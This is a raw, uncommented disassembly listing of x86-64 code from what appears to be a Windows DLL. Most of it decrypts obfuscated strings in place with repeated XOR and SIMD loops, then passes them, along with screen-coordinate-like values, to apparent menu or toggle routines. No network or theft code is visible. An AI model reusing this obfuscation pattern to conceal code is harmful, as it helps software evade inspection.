xor byte [rbp + 0x12ae], 0x3c
xor byte [rbp + 0x12af], 0x3d
mov word [rbp + 0x12b0], cx
xor cl, 0x3e
xor byte [rbp + 0x12b1], 0x3f
mov byte [rbp + 0x12b0], cl
lea rcx, [rbp + 0x12a8]
mov byte [rbp + 0x12a8], 0x45
mov byte [rbp + 0x12b2], al
call fcn.180009a60
movaps xmm1, xmm9
movaps xmm0, xmm8
call fcn.180024b30
movzx eax, byte [0x1801c2ac8]
mov r8d, r14d
mov byte [rbp + 0x2020], al
movups xmm0, xmmword [0x1801c2ab8]
movups xmmword [rbp + 0x2010], xmm0
cmp r12d, 2
jl 0x180084d1b
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x2014]
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x180084c20
cmp r8d, 0x11
jge 0x180084d64
movsxd rax, r8d
lea r9, [rbp + 0x2010]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x11
jl 0x180084d30
mov r8d, 2
lea rdx, [0x18024dbfc]
lea rcx, [rbp + 0x2010]
call fcn.180009a60
movaps xmm1, xmm9
movaps xmm0, xmm8
call fcn.180024b30
mov eax, dword [0x1801c2ad8]
mov r8d, r14d
movsd xmm0, qword [0x1801c2ad0]
mov dword [rbp + 0x1848], eax
movzx eax, byte [0x1801c2adc]
mov byte [rbp + 0x184c], al
movsd qword [rbp + 0x1840], xmm0
cmp r12d, 2
jl 0x180084ead
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801c2ad0]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1840], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1844]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1844], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1840]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x180084ec0
mov r8d, 3
lea rcx, [rbp + 0x1840]
jmp 0x1800846f1
call fcn.180014790
mov rcx, qword [0x18024dba8]
call fcn.1800210c0
call fcn.180017a90
mov ecx, dword [str.raj]
mov rdi, rax
mov dword [rbp + 0x198], ecx
movzx ecx, word [0x1801c2aec]
mov word [rbp + 0x19c], cx
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
lea rcx, [0x18020c590]
xor byte [rbp + 0x199], 0x37
xor al, 0x3c
xor byte [rbp + 0x19a], 0x38
xor byte [rbp + 0x19b], 0x39
xor byte [rbp + 0x19c], 0x3a
xor byte [rbp + 0x19d], 0x3b
mov byte [rbp + 0x19e], al
mov qword [rsp + 0x9380], r15
mov byte [rbp + 0x198], Ordinal_79
call fcn.180012650
movzx ecx, word [0x1801c2ae4]
mov ebx, eax
mov eax, dword [0x1801c2ae0]
mov dword [rbp + 0x1a0], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
xor byte [rbp + 0x1a1], 0x37
xor al, 0x3c
xor byte [rbp + 0x1a2], 0x38
xor byte [rbp + 0x1a3], 0x39
mov word [rbp + 0x1a4], cx
xor cl, 0x3a
xor byte [rbp + 0x1a5], 0x3b
mov byte [rbp + 0x1a4], cl
lea rcx, [rbp + 0x388]
mov byte [rbp + 0x1a6], al
mov byte [rbp + 0x1a0], Ordinal_79
call fcn.180017ae0
lea rcx, [rbp + 0x390]
movss xmm7, dword [rax + 4]
addss xmm7, xmm6
movss xmm6, dword [rax]
addss xmm6, dword [0x1801ad880]
call fcn.180017ae0
unpcklps xmm6, xmm7
lea r9, [rbp + 0x1a0]
movq r8, xmm6
lea rcx, [rbp + 0x398]
movss xmm2, dword [rax + 4]
movss xmm1, dword [rax]
unpcklps xmm1, xmm2
movq rdx, xmm1
call fcn.18007c170
lea r9, [rbp + 0x198]
mov qword [rsp + 0x20], r14
mov r8d, ebx
mov rdx, rax
mov rcx, rdi
call fcn.180031050
call fcn.180020ae0
cmp dword [0x18024dbf8], r14d
lea rsi, [0x18024b4e0]
movss xmm7, dword [0x1801c6db8]
lea rdi, str._0.2f
movss xmm6, dword [0x1801b3f2c]
lea rbx, [0x1801b3b4c]
mov r13, 0xffffffffffffffff
jne 0x1800977e3
cmp dword [0x18024dbfc], r14d
jne 0x180088531
movss xmm0, dword [0x18024dbc0]
lea rcx, [rbp + 0x3a0]
addss xmm0, xmm7
mov dword [rbp + 0x3a0], 0x43520000
movss dword [rbp + 0x3a4], xmm0
call fcn.180025700
mov eax, dword [0x1801c2af0]
lea rdx, [rbp + 0x3a8]
mov dword [rbp - 0x10], eax
lea rcx, [rbp - 0x10]
movzx eax, byte [0x1801c2af4]
mov r9d, 8
xor byte [rbp - 0xf], 0x37
xor al, 0x3a
xor byte [rbp - 0xe], 0x38
xor r8d, r8d
xor byte [rbp - 0xd], 0x39
mov byte [rbp - 0xc], al
mov dword [rbp + 0x3a8], 0x43a50000
mov dword [rbp + 0x3ac], 0x4405c000
mov byte [rbp - 0x10], Ordinal_79
call fcn.18000fcc0
mov eax, dword [0x1801c2af8]
lea rdx, [rbp + 0x3b0]
mov dword [rbp - 8], eax
lea rcx, [rbp - 8]
movzx eax, byte [0x1801c2afc]
xor r9d, r9d
xor byte [rbp - 7], 0x37
xor al, 0x3a
xor byte [rbp - 6], 0x38
mov r8b, 1
xor byte [rbp - 5], 0x39
mov byte [rbp - 4], al
mov dword [rbp + 0x3b0], 0x43a00000
mov dword [rbp + 0x3b4], 0x43ed8000
mov byte [rbp - 8], 0x53
call fcn.180003d00
movzx ecx, word [0x1801c2b04]
lea rdx, [0x180248f79]
mov eax, dword [str.qXTU__]
mov dword [rbp + 0x1a8], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
xor byte [rbp + 0x1a9], 0x37
xor al, 0x3c
xor byte [rbp + 0x1aa], 0x38
xor byte [rbp + 0x1ab], 0x39
mov word [rbp + 0x1ac], cx
xor cl, 0x3a
xor byte [rbp + 0x1ad], 0x3b
mov byte [rbp + 0x1ac], cl
lea rcx, [rbp + 0x1a8]
mov byte [rbp + 0x1a8], 0x47
mov byte [rbp + 0x1ae], al
call fcn.1800032d0
cmp byte [0x1801c2b13], r14b
movsd xmm0, qword [0x1801c2b08]
mov eax, dword [0x1801c2b10]
movsd qword [rbp + 0x1568], xmm0
mov dword [rbp + 0x1570], eax
je 0x180085334
mov r8d, r14d
cmp r12d, 2
jl 0x1800852f1
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801c2b08]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1568], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x156c]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x156c], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1568]
add r9, rax
nop
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x180085300
lea rdx, [0x180248f96]
lea rcx, [rbp + 0x1568]
call fcn.1800032d0
cmp byte [0x1801c2b23], r14b
movsd xmm0, qword [str.tV___]
mov eax, dword [0x1801c2b20]
movsd qword [rbp + 0x1578], xmm0
mov dword [rbp + 0x1580], eax
je 0x1800854b4
mov r8d, r14d
cmp r12d, 2
jl 0x18008546a
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.tV___]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1578], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x157c]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x157c], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1578]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x180085480
lea rdx, [0x180248f7e]
lea rcx, [rbp + 0x1578]
call fcn.1800032d0
cmp byte [0x1801c2b31], r14b
lea rdx, [0x180248f7a]
movsd xmm0, qword [0x1801c2b28]
lea rcx, [rbp + 0x1088]
movzx eax, word [0x1801c2b30]
movsd qword [rbp + 0x1088], xmm0
mov word [rbp + 0x1090], ax
je 0x180085542
xor byte [rbp + 0x1089], 0x37
xor byte [rbp + 0x108a], 0x38
xor byte [rbp + 0x108b], 0x39
xor byte [rbp + 0x108c], 0x3a
xor byte [rbp + 0x108d], 0x3b
xor byte [rbp + 0x108e], 0x3c
xor byte [rbp + 0x108f], 0x3d
xor byte [rbp + 0x1090], 0x3e
xor byte [rbp + 0x1091], 0x3f
mov byte [rbp + 0x1088], Ordinal_79
call fcn.1800032d0
movzx eax, byte [0x1801c2b48]
mov r8d, r14d
mov byte [rbp + 0x2038], al
movups xmm0, xmmword [0x1801c2b38]
movups xmmword [rbp + 0x2028], xmm0
cmp r12d, 2
jl 0x18008567c
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x202c]
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x180085581
cmp r8d, 0x11
jge 0x1800856c4
movsxd rax, r8d
lea r9, [rbp + 0x2028]
add r9, rax
nop dword [rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x11
jl 0x180085690
lea rdx, [0x180248f7d]
lea rcx, [rbp + 0x2028]
call fcn.1800032d0
movups xmm0, xmmword [str.e_QT]
movups xmmword [rbp + 0x1ea0], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x180085854
cmp r12d, 2
jl 0x180085815
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x1ea4]
mov r8d, dword [rsp + 0x70]
mov edx, r14d
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x10
jl 0x180085720
jmp 0x180085854
lea r9, [rbp + 0x1ea0]
mov r8d, r14d
nop
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x180085820
lea rdx, [0x180248f7c]
lea rcx, [rbp + 0x1ea0]
call fcn.1800032d0
movzx eax, word [0x1801c2b68]
lea rdx, [0x180248f7b]
movsd xmm0, qword [0x1801c2b60]
lea rcx, [rbp + 0x12b8]
movsd qword [rbp + 0x12b8], xmm0
xor byte [rbp + 0x12b9], 0x37
xor byte [rbp + 0x12ba], 0x38
xor byte [rbp + 0x12bb], 0x39
xor byte [rbp + 0x12bc], 0x3a
xor byte [rbp + 0x12bd], 0x3b
xor byte [rbp + 0x12be], 0x3c
xor byte [rbp + 0x12bf], 0x3d
mov word [rbp + 0x12c0], ax
movzx eax, byte [0x1801c2b6a]
xor byte [rbp + 0x12c0], 0x3e
xor al, 0x40
xor byte [rbp + 0x12c1], 0x3f
mov byte [rbp + 0x12c2], al
mov byte [rbp + 0x12b8], Ordinal_79
call fcn.1800032d0
mov eax, dword [0x1801c2b78]
mov r8d, r14d
movsd xmm0, qword [str.yY_iOU_U]
mov dword [rbp + 0x1728], eax
movzx eax, byte [0x1801c2b7c]
mov byte [rbp + 0x172c], al
movsd qword [rbp + 0x1720], xmm0
cmp r12d, 2
jl 0x180085a10
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.yY_iOU_U]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1720], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1724]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1724], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1720]
add r9, rax
nop dword [rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x180085a20
lea rdx, [0x180248f7f]
lea rcx, [rbp + 0x1720]
call fcn.1800032d0
cmp byte [0x1801c2b8b], r14b
movsd xmm0, qword [0x1801c2b80]
mov eax, dword [str.yJ.A]
movsd qword [rbp + 0x1588], xmm0
mov dword [rbp + 0x1590], eax
je 0x180085bd4
mov r8d, r14d
cmp r12d, 2
jl 0x180085b8a
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801c2b80]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1588], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x158c]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x158c], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1588]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x180085ba0
lea rdx, [0x180248fc0]
lea rcx, [rbp + 0x1588]
call fcn.1800032d0
movzx eax, word [0x1801c2b98]
lea r8, [0x180249520]
movsd xmm0, qword [str.f_AJSX]
lea rdx, [0x180248f75]
movsd qword [rbp + 0x12c8], xmm0
lea rcx, [rbp + 0x12c8]
xor byte [rbp + 0x12c9], 0x37
xor byte [rbp + 0x12ca], 0x38
xor byte [rbp + 0x12cb], 0x39
xor byte [rbp + 0x12cc], 0x3a
xor byte [rbp + 0x12cd], 0x3b
xor byte [rbp + 0x12ce], 0x3c
xor byte [rbp + 0x12cf], 0x3d
mov word [rbp + 0x12d0], ax
movzx eax, byte [0x1801c2b9a]
xor byte [rbp + 0x12d0], 0x3e
xor al, 0x40
xor byte [rbp + 0x12d1], 0x3f
mov byte [rbp + 0x12d2], al
mov byte [rbp + 0x12c8], 0x50
call fcn.18006f020
cmp byte [0x180248f75], r14b
je 0x1800861f9
call fcn.180016950
movss xmm7, dword [0x1801ad7d4]
addss xmm0, xmm7
call fcn.180025760
cmp byte [0x1801c2bad], r14b
mov eax, dword [0x1801c2ba8]
movsd xmm0, qword [str.pXJZ_e]
movzx ebx, byte [0x180248f76]
mov dword [rbp + 0x1a98], eax
movzx eax, word [0x1801c2bac]
mov word [rbp + 0x1a9c], ax
movsd qword [rbp + 0x1a90], xmm0
je 0x180085e14
mov r8d, r14d
cmp r12d, 2
jl 0x180085dcf
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.pXJZ_e]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1a90], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1a94]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1a94], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1a90]
add r9, rax
nop dword [rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x180085de0
lea rdx, [0x180248f76]
lea rcx, [rbp + 0x1a90]
call fcn.1800032d0
movzx eax, byte [0x180248f76]
test al, al
je 0x18008605a
test bl, bl
jne 0x180086056
cmp byte [0x18024dc00], r14b
jne 0x180086056
movups xmm0, xmmword [str.pXJZ_e_RPK2..c_52:_j___n_____9v8_y.39_]
mov r8d, r14d
movups xmm1, xmmword [0x1801c2bc0]
movzx eax, word [0x1801c2c18]
movups xmmword [rbp + 0x2e80], xmm0
movups xmm0, xmmword [0x1801c2bd0]
movups xmmword [rbp + 0x2ea0], xmm0
movups xmm0, xmmword [0x1801c2bf0]
movups xmmword [rbp + 0x2e90], xmm1
movups xmm1, xmmword [0x1801c2be0]
movups xmmword [rbp + 0x2ec0], xmm0
movsd xmm0, qword [0x1801c2c10]
movups xmmword [rbp + 0x2eb0], xmm1
movups xmm1, xmmword [0x1801c2c00]
movsd qword [rbp + 0x2ee0], xmm0
movups xmmword [rbp + 0x2ed0], xmm1
mov word [rbp + 0x2ee8], ax
cmp r12d, 2
jl 0x180085fdb
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x2e84]
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x68
